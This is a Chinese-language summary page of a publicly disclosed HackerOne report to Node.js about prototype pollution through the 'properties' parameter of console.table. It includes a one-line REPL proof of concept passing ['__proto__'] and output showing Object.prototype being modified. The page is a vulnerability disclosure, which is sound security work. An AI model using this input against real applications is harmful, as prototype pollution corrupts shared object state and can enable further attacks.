Prototype pollution via console.table properties
业务逻辑 / Modification of Assumed-Immutable Data (MAID) / #1431042
该报告还没有中文解读。
原文摘录
摘自原文(3281 字符中的一小部分)
Attacker control of the second `properties` parameter of `console.table` may lead to prototype pollution.
原文中的代码
> console.table({a: 1, b: 1, c: 1}, ['__proto__'])
Uncaught TypeError: Cannot create property '0' on string ''
> Object.prototype
[Object: null prototype] { '0': '', '1': '', '2': '' }默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @rugvip · 版权归作者与 Node.js 所有